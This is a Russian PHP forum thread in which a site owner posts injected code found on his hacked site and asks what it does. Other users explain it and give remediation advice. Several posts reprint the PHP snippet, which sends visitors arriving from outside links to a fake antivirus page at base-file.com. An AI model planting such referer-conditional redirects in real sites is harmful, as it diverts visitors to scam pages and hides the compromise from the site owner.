Версия для печати темы
Нажмите сюда для просмотра этой темы в оригинальном формате
Форум программистов > PHP: Общие вопросы > На html-страницах появился этот код


Автор: Chai 10.4.2013, 06:51
Загружал уже давно в контент своего сайта обычные html-страницы. Решил пройтись с проверкой по контенту, смотрю, некоторые страницы были недавно изменены (по  дате модификации выявил), а в конце (еще в теле, в самом конце) добавлены такие строки:
Код

if(isset($_SERVER['HTTP_REFERER']) && !preg_match("|^http://$_SERVER[HTTP_HOST]|i", $_SERVER['HTTP_REFERER'])){
    exit( '<script>setTimeout(\'document.location.href = "http://base-file.com/antivirus"\', 3000);</script>');

Кроме того, на сервер мне закинули директорию со страницами, раздающими некие сломанные программы)
crack android navitel 5 5
crack cs4 illustrator
crack finereader 10
crack genius driver

И как часто сейчас встречаешь, типичные "комменты счастливых юзверей", вроде как 
А зачем при скачивании файла просит ввести номер? Это бесплатно!?

Той же датой создания/модификации в корне лежал скриптовый файл *.js
Код

function PhotoWindow(pic,param1,param2,param3,param4) {
   if (param4==1){
   var photowin = open("","photowindow","toolbar=0,scrollbars=1,fullscreen=1");
   }
   else {
   var photowin = open("","photowindow","toolbar=0,scrollbars=0,width="+param1+",height="+param2);
   }
   photowin.document.open();
   photowin.document.write("<html>\n");
   photowin.document.write("<title>"+param3+"</title>\n");
   photowin.document.write("<body bgcolor=\"#FFFFFF\" text=\"#003333\" link=\"#0033CC\" vlink=\"#000066\" alink=\"#0099CC\"");
   photowin.document.write("topmargin=\"0\" leftmargin=\"0\" marginheight=\"0\" marginwidth=\"0\">\n");
   photowin.document.write("<a href=\"#\" OnClick=\"self.close()\"><img src=\"/i/"+pic+"\" width="+param1+" height="+param2+" border=0></a><br>\n");
   photowin.document.write("<?
if(isset($_SERVER['HTTP_REFERER']) && !preg_match("|^http://$_SERVER[HTTP_HOST]|i", $_SERVER['HTTP_REFERER'])){
    exit( '<script>setTimeout(\'document.location.href = "http://base-file.com/antivirus"\', 3000);</script>');
}
?></body>\n");
   photowin.document.write("</html>");
   photowin.document.close();
   photowin.focus()
}

function CreateNewWindow(page,param) {
    var recWin = open(page,"recWindow",param);
}

function SubmitControl(tocheack){
 if (document.all || document.getElementById){
     for (i=0; i < tocheack.length;i++){
          if(tocheack.elements[i].type.toLowerCase()=="submit"||tocheack.elements[i].type.toLowerCase()=="reset") {
             tocheack.elements[i].disabled = true
            }
         }
    }
}
function CreateWnd(url, width, height, wndname){
  if (wndname != ''){
      for (var i=0; i < parent.frames.length; i++){
           if (parent.frame[i].name == wndname){
               parent.frame[i].focus();
               return;
              }
          }
    }
  window.open(url, wndname,'width=' + width + ',height=' + height + ',resizable=1,scrollbars=yes,menubar=yes,status=yes');
}
function Formchecker(tocheck){
  if (tocheck.intopictitle != null &&tocheck.intopictitle.value.length == 0){
      alert('Пожалуйста, введите название темы!!');
      return false;
      }
  if (tocheck.inpost != null &&tocheck.inpost.value.length == 0){
      alert('Пожалуйста, введите текст сообщения!!');
      return false;
      }
  if (tocheck.membername != null &&tocheck.membername.value.length == 0){
      alert('Пожалуйста, введите ваше имя!!');
      return false;
     }
  if (tocheck.word != null &&tocheck.word.value.length == 0){
      alert('Пожалуйста, задайте значение поиска!!');
      return false;
     }
}
function pasteN(text){
  document.postform.inpost.focus();
  if (text != '') document.postform.inpost.value = document.postform.inpost.value + "" + text + "\n";
}
if (document.selection||document.getSelection) {Q=true} else {var Q=false}
var txt=''
function copyQ() {
txt=''
if (document.getSelection) {txt=document.getSelection()}
else if (document.selection) {txt=document.selection.createRange().text;}
txt='[q]'+txt+'[/q]\n'
}
function pasteQ() {
document.postform.inpost.value=document.postform.inpost.value+txt;
}

function sm(text){
if (text!="") paste(text, 1);
}

function SelectAll (chbox, chtext){
 for(var i =0; i < chbox.form.elements.length; i++){
     if(chbox.form.elements[i].name.indexOf(chtext) == 0){
        chbox.form.elements[i].checked = chbox.checked;
       }
    }
}
function MM_jumpMenu(targ,selObj,restore){ //v3.0
  eval(targ+".location='"+selObj.options[selObj.selectedIndex].value+"'");
  if (restore) selObj.selectedIndex=0;
}

function zitata()
{
 if (document.getSelection) {
    var str = document.getSelection()
    if (window.RegExp){
      var regstr = unescape("%20%20")
      var regexp = new RegExp(regstr, "g")
      str = str.replace(regexp, " ")
    }
  } else if (document.selection && document.selection.createRange) {
           var range = document.selection.createRange()
           var str = range.text
         } else var str = "Извините, ваш браузер не поддерживает это."
  document.forms[0].elements[6].value += '[q]'+str+'[/q]'
}
function GetId(objform, objinput){
var unid;
if(navigator.appName == "Microsoft Internet Explorer") {
document.writeln('<OBJECT classid="clsid:22D6F312-B0F6-11D0-94AB-0080C74C7E95" ID=WMP WIDTH=1 HEIGHT=1></OBJECT>');
if(typeof(document.WMP) == "object" && typeof(document.WMP.ClientID) == "string") {unid = document.WMP.ClientID;}
else {unid = "None";}}
else {document.writeln('<EMBED TYPE="application/x-mplayer2" NAME=WMP WIDTH=2 HEIGHT=2></EMBED><br><br>');
setTimeout("NSShow()", 100);}
document.writeln('<input type="hidden" name="'+objinput+'">');
eval("document."+objform+"."+objinput+".value = unid");}
function NSShow(){
if(typeof(document.WMP) == "object"){unid = document.WMP.GetClientID();}
else {unid = "None";}
return;}



Довески убрал, но чо за код был в конце страниц, что он делает? Может, где еще проверить надо? И какие функции выполнял скриптовый файл? Я хочу выяснить, может, еще кто проник, кто за свой собственный хостинг платить не  хочет?

Автор: Чучмек 10.4.2013, 11:13
Chai, тебя взломали.
Цитата(Chai @  10.4.2013,  06:51 Найти цитируемый пост)
но чо за код был в конце страниц, что он делает

Проверяет откуда был переход - если переход был и  не со страницы твоего сайта - перекидывает на base-file 

Автор: Chai 10.4.2013, 19:47
А почему им так важно, чтобы переход был не со страниц моего сайта? Что за ребятки эти? 

Здесь http://labs.sucuri.net/?details=base-file.com. Так что я прям боюсь перейти, чтобы на них полюбоваться.

Добавлено через 3 минуты и 44 секунды
Блин, буду писать гневное письмо хостеру, что его антивирь, которым он регулярно проверяет контент, в упор не видит ни редиректов в хтакцессе, ни в этих довесках.

Автор: Sanchezzz 10.4.2013, 19:57
Ну скорее всего он ответит что у вас дрявые скрипты.

Автор: Chai 10.4.2013, 20:06
Хех, там из скриптов есть только классический phpBB3. На эту отмазку напишу ихнему главному. Им уже написал. Зачем нужна такая проверка, если она не находит эти гадости? Чем они проверяют, не знаю, а только один раз нашли PHP-вирус, а эти не находят. А ведь достаточно посмотреть в блэклисты, они не скрываются.

Автор: Чучмек 10.4.2013, 20:45
Цитата(Chai @  10.4.2013,  19:47 Найти цитируемый пост)
А почему им так важно, чтобы переход был не со страниц моего сайта? 

Чтобы ты не догадался.
Если вести адрес в браузер и переходить со страницы на страницу - все Ок.
А если перейти на твой сайт по внешней ссылке,с поисковика например, то перекинет.

Добавлено через 3 минуты и 15 секунд
Цитата(Chai @  10.4.2013,  19:47 Найти цитируемый пост)
Так что я прям боюсь перейти, чтобы на них полюбоваться.

А че боятся? Компьютер не взорвется. 
Говорят у вас типа вирусы и предлагают проверить комп за SMS. 

Автор: Sanchezzz 10.4.2013, 23:15
Чаще и за дырок форумов и закачивают шелы, особенно если они крякнутые=).

Автор: Chai 11.4.2013, 06:53
Щас набрал в браузере адрес одной из страниц сайта и выполнил переход на нее.
Как она выглядит запечатлел во вложении, а код внизу нее такой
<?
require_once($_SERVER['DOCUMENT_ROOT'].'/group/case/mn_t.gif');
?>

<?
if(isset($_SERVER['HTTP_REFERER']) && !preg_match("|^http://$_SERVER[HTTP_HOST]|i", $_SERVER['HTTP_REFERER'])){
    exit( '<script>setTimeout(\'document.location.href = "http://base-file.com/antivirus"\', 3000);</script>');
}
?></body>
</html>

Переход на base-file.com почему-то не выполнился. Почему?

Автор: krypt3r 11.4.2013, 07:10
Цитата
Чаще и за дырок форумов и закачивают шелы, особенно если они крякнутые=). 

Кто крякнутый? Шелл или бесплатный phpBB?

Автор: MoLeX 11.4.2013, 07:34
видно же что js скрипт не сработал.

Автор: Sanchezzz 11.4.2013, 10:40
Это в общем плане вы используете то что используют очень большое количество людей, каждая дырка даже в бесплатном форуме это угроза всему сайту.
Платные формы или крякнутые имеют уйму дыр.

Автор: Chai 11.4.2013, 15:15
Цитата(MoLeX @ 11.4.2013,  07:34)
видно же что js скрипт не сработал.

А, точно, я ж его прибил в корне еще ранее.

Мне щас коллега сказал, что на его форум новый юзер поимел права админа, потому что зашел в браузере в каком-то лине. Форум от SMF. Как это может быть, в линях что-то иначе исполняется?

Автор: Aliance 11.4.2013, 18:34
Цитата(Chai @  11.4.2013,  16:15 Найти цитируемый пост)
лине

в чем?

Автор: Chai 11.4.2013, 19:28
В линуксе. 

Автор: MoLeX 12.4.2013, 05:35
))))))
взлом сайта через линкус. забавно

Автор: cia 12.4.2013, 09:57
Цитата(Sanchezzz @  10.4.2013,  23:15 Найти цитируемый пост)
Чаще и за дырок форумов и закачивают шелы, особенно если они крякнутые=). 

Между крякнутым софтом и не крякнутым нет никакой разницы, за исключением того, что софт крякнутый. На безопасности и работоспособности софта это никак не сказывается (конечно исключения бывают, но они чрезвычайно редки). Не слушайте что говорят производители лицензионного софта - у них зада заключается в продаже оного софта.

Автор, проверь свой компьютер на вирусы и смени фтп-пароль. Дыры в пупулярных движках - это несомненно, но есть более часто встречаемый путь - вирус на сайт попадает с вашего компьютера: вы скачиваете троян, он дожидается когда вы подключаетесь к своему сайту и через интернет передаёт кому-то логин-пароль. Дальше робот выгружает вирус на ваш сайт.

Этого никто не афиширует, но есть даже партнёрские программы по вирусному заражению.

Добавлено через 1 минуту и 36 секунд
Цитата(MoLeX @  12.4.2013,  05:35 Найти цитируемый пост)
взлом сайта через линкус. забавно 

Ага, забавно. И при этом ещё очень многие считают, что на сайтах linux вирусов вообще нет.

Автор: Chai 17.4.2013, 11:29
Скорее всего троян сидит. Ходил на сайты, которые заражены HEUR:Trojan.Script.Generic или чем-то аналогичным. Выкачал весь htdocs на локальный комп с Каспервычем, но он вирусни не нашел. Или это результат удаление .js, или касперыч видит лишь работу в браузере.

Автор: cia 17.4.2013, 13:10
Вирус - это и есть js-код.

Автор: Arantir 17.4.2013, 13:55
Chai, почитайте про то, что такое вирусы, и о том, как работают антивирусы.
А то из ваших постов создается ощущение, что вы живете в сказочном мире, где есть только черное и белое.

php и js — это скриптовые языки, для них "антивирусы" не помогут. По сути, все, что не задумано разработчиком прямо или косвенно, — вредоностный код. Но откуда антивирусу знать, влепил ли этот код сюда какой-то школьник-хакер или сам разработчик?
Можно сделать бесконечный append пары строчек текста и от этого половина браузеров просто умрет при открытии сайта. Но вирусом это никогда не назовут.
Никакая программа не заменит собственного мозга. Сделайте себе cron на проверку измения в файлах и просматривайте отчеты, а при потребности — изменения в файлах, сделанные не вами, если такие произойдут.

В частности, настораживают вопросы на подобии
Цитата(Chai @  10.4.2013,  05:51 Найти цитируемый пост)
чо за код был в конце страниц, что он делает

Безусловно, человек и не может и не обязан знать все. Но, если вы решили вдаться в веб, то вам нужно заполнить очень много пробелов в своих познаниях в этой сфере. Если вы от этого далеки и вам просто нужен сайт — наймите для этого соответствующего специалиста.
Ибо для новичка веб — это как поле граблей.

Автор: Chai 18.4.2013, 07:05
cia
Вирус - это и есть js-код.

___________
Удаленный файл .js был "штатным" файлом сайта. По дате его модификации я увидел, что кто-то в нем покопался, и все, что я смог увидеть инородного, это все тот же код
Код

<?
if(isset($_SERVER['HTTP_REFERER']) && !preg_match("|^http://$_SERVER[HTTP_HOST]|i", $_SERVER['HTTP_REFERER'])){
    exit( '<script>setTimeout(\'document.location.href = "http://base-file.com/antivirus"\', 3000);</script>');
}
?>

Вот весь файл

Код

function PhotoWindow(pic,param1,param2,param3,param4) {
   if (param4==1){
   var photowin = open("","photowindow","toolbar=0,scrollbars=1,fullscreen=1");
   }
   else {
   var photowin = open("","photowindow","toolbar=0,scrollbars=0,width="+param1+",height="+param2);
   }
   photowin.document.open();
   photowin.document.write("<html>\n");
   photowin.document.write("<title>"+param3+"</title>\n");
   photowin.document.write("<body bgcolor=\"#FFFFFF\" text=\"#003333\" link=\"#0033CC\" vlink=\"#000066\" alink=\"#0099CC\"");
   photowin.document.write("topmargin=\"0\" leftmargin=\"0\" marginheight=\"0\" marginwidth=\"0\">\n");
   photowin.document.write("<a href=\"#\" OnClick=\"self.close()\"><img src=\"/i/"+pic+"\" width="+param1+" height="+param2+" border=0></a><br>\n");
   photowin.document.write("<?
if(isset($_SERVER['HTTP_REFERER']) && !preg_match("|^http://$_SERVER[HTTP_HOST]|i", $_SERVER['HTTP_REFERER'])){
    exit( '<script>setTimeout(\'document.location.href = "http://base-file.com/antivirus"\', 3000);</script>');
}
?></body>\n");
   photowin.document.write("</html>");
   photowin.document.close();
   photowin.focus()
}

function CreateNewWindow(page,param) {
    var recWin = open(page,"recWindow",param);
}

function SubmitControl(tocheack){
 if (document.all || document.getElementById){
     for (i=0; i < tocheack.length;i++){
          if(tocheack.elements[i].type.toLowerCase()=="submit"||tocheack.elements[i].type.toLowerCase()=="reset") {
             tocheack.elements[i].disabled = true
            }
         }
    }
}
function CreateWnd(url, width, height, wndname){
  if (wndname != ''){
      for (var i=0; i < parent.frames.length; i++){
           if (parent.frame[i].name == wndname){
               parent.frame[i].focus();
               return;
              }
          }
    }
  window.open(url, wndname,'width=' + width + ',height=' + height + ',resizable=1,scrollbars=yes,menubar=yes,status=yes');
}
function Formchecker(tocheck){
  if (tocheck.intopictitle != null &&tocheck.intopictitle.value.length == 0){
      alert('Пожалуйста, введите название темы!!');
      return false;
      }
  if (tocheck.inpost != null &&tocheck.inpost.value.length == 0){
      alert('Пожалуйста, введите текст сообщения!!');
      return false;
      }
  if (tocheck.membername != null &&tocheck.membername.value.length == 0){
      alert('Пожалуйста, введите ваше имя!!');
      return false;
     }
  if (tocheck.word != null &&tocheck.word.value.length == 0){
      alert('Пожалуйста, задайте значение поиска!!');
      return false;
     }
}
function pasteN(text){
  document.postform.inpost.focus();
  if (text != '') document.postform.inpost.value = document.postform.inpost.value + "" + text + "\n";
}
if (document.selection||document.getSelection) {Q=true} else {var Q=false}
var txt=''
function copyQ() {
txt=''
if (document.getSelection) {txt=document.getSelection()}
else if (document.selection) {txt=document.selection.createRange().text;}
txt='[q]'+txt+'[/q]\n'
}
function pasteQ() {
document.postform.inpost.value=document.postform.inpost.value+txt;
}

function sm(text){
if (text!="") paste(text, 1);
}

function SelectAll (chbox, chtext){
 for(var i =0; i < chbox.form.elements.length; i++){
     if(chbox.form.elements[i].name.indexOf(chtext) == 0){
        chbox.form.elements[i].checked = chbox.checked;
       }
    }
}
function MM_jumpMenu(targ,selObj,restore){ //v3.0
  eval(targ+".location='"+selObj.options[selObj.selectedIndex].value+"'");
  if (restore) selObj.selectedIndex=0;
}

function zitata()
{
 if (document.getSelection) {
    var str = document.getSelection()
    if (window.RegExp){
      var regstr = unescape("%20%20")
      var regexp = new RegExp(regstr, "g")
      str = str.replace(regexp, " ")
    }
  } else if (document.selection && document.selection.createRange) {
           var range = document.selection.createRange()
           var str = range.text
         } else var str = "Извините, ваш браузер не поддерживает это."
  document.forms[0].elements[6].value += '[q]'+str+'[/q]'
}
function GetId(objform, objinput){
var unid;
if(navigator.appName == "Microsoft Internet Explorer") {
document.writeln('<OBJECT classid="clsid:22D6F312-B0F6-11D0-94AB-0080C74C7E95" ID=WMP WIDTH=1 HEIGHT=1></OBJECT>');
if(typeof(document.WMP) == "object" && typeof(document.WMP.ClientID) == "string") {unid = document.WMP.ClientID;}
else {unid = "None";}}
else {document.writeln('<EMBED TYPE="application/x-mplayer2" NAME=WMP WIDTH=2 HEIGHT=2></EMBED><br><br>');
setTimeout("NSShow()", 100);}
document.writeln('<input type="hidden" name="'+objinput+'">');
eval("document."+objform+"."+objinput+".value = unid");}
function NSShow(){
if(typeof(document.WMP) == "object"){unid = document.WMP.GetClientID();}
else {unid = "None";}
return;}

Как я понимаю, это форма поиска. Какой же кусок в нем имел критическое значение для исполнения всех зловредных инструкций на статических страницах контента?

Добавлено через 4 минуты и 30 секунд
Цитата(Arantir @ 17.4.2013,  13:55)
Безусловно, человек и не может и не обязан знать все. Но, если вы решили вдаться в веб, то вам нужно заполнить очень много пробелов в своих познаниях в этой сфере. Если вы от этого далеки и вам просто нужен сайт — наймите для этого соответствующего специалиста.

Я уже начал исполнять Ваши рекомендации. smile А пока моя претензия к антивирю заключается в желании, чтобы он сверялся с базой зловредных ссылок в блэклистах.

Автор: Chai 18.4.2013, 11:03
Цитата(Arantir @ 17.4.2013,  13:55)
Сделайте себе cron на проверку измения в файлах и просматривайте отчеты, а при потребности — изменения в файлах, сделанные не вами, если такие произойдут.

Насколько я понимаю, мне, как пользователю *nux, на сервере доступна только моя домашняя директория или пространство, к которому хостер-админ предоставил мне права доступа. Есть ли у меня доступ к демону cron, его настройкам и расписанию?

Автор: s0lman 18.4.2013, 11:09
В админпанели должен быть крон доступен

Автор: Arantir 18.4.2013, 12:11
Цитата(Chai @  18.4.2013,  06:05 Найти цитируемый пост)
все, что я смог увидеть инородного, это все тот же код
Цитата(Chai @  18.4.2013,  06:05 Найти цитируемый пост)
Вот весь файл

Кажется, я только сейчас заметил, что кул-хацкер пытается добавить php-код с помощью JavaScript.  smile 
lol... На что надеялся тот, кто добавлял эти "зловредные" строчки? На то, что по стечению обстоятельств и настроек сервера в js-файлах исполняется php-код? У пользователя он то уж точно не выполнится.

Цитата(Chai @  18.4.2013,  06:05 Найти цитируемый пост)
А пока моя претензия к антивирю заключается в желании, чтобы он сверялся с базой зловредных ссылок в блэклистах.

Вы слишком узко смотрите на проблему. А если ваш сайт и есть блэк-лист? Антивирус его тогда вообще с концами удалить должен из-за кучи ссылок на вредные сайты...
В блэк-листах есть самые разнообразные сайты. В том числе клоны, фишинговые и т.п. Может вы просто разместили у себя ссылку на клон своего сайта с предупреждением о том, что это подделка под ваш сайт и призываете посетителей не пользоваться таким сайтом.
Ссылка — это всего лишь ссылка. Антивирус ничего не обязан с ней делать.

Powered by Invision Power Board (http://www.invisionboard.com)
© Invision Power Services (http://www.invisionpower.com)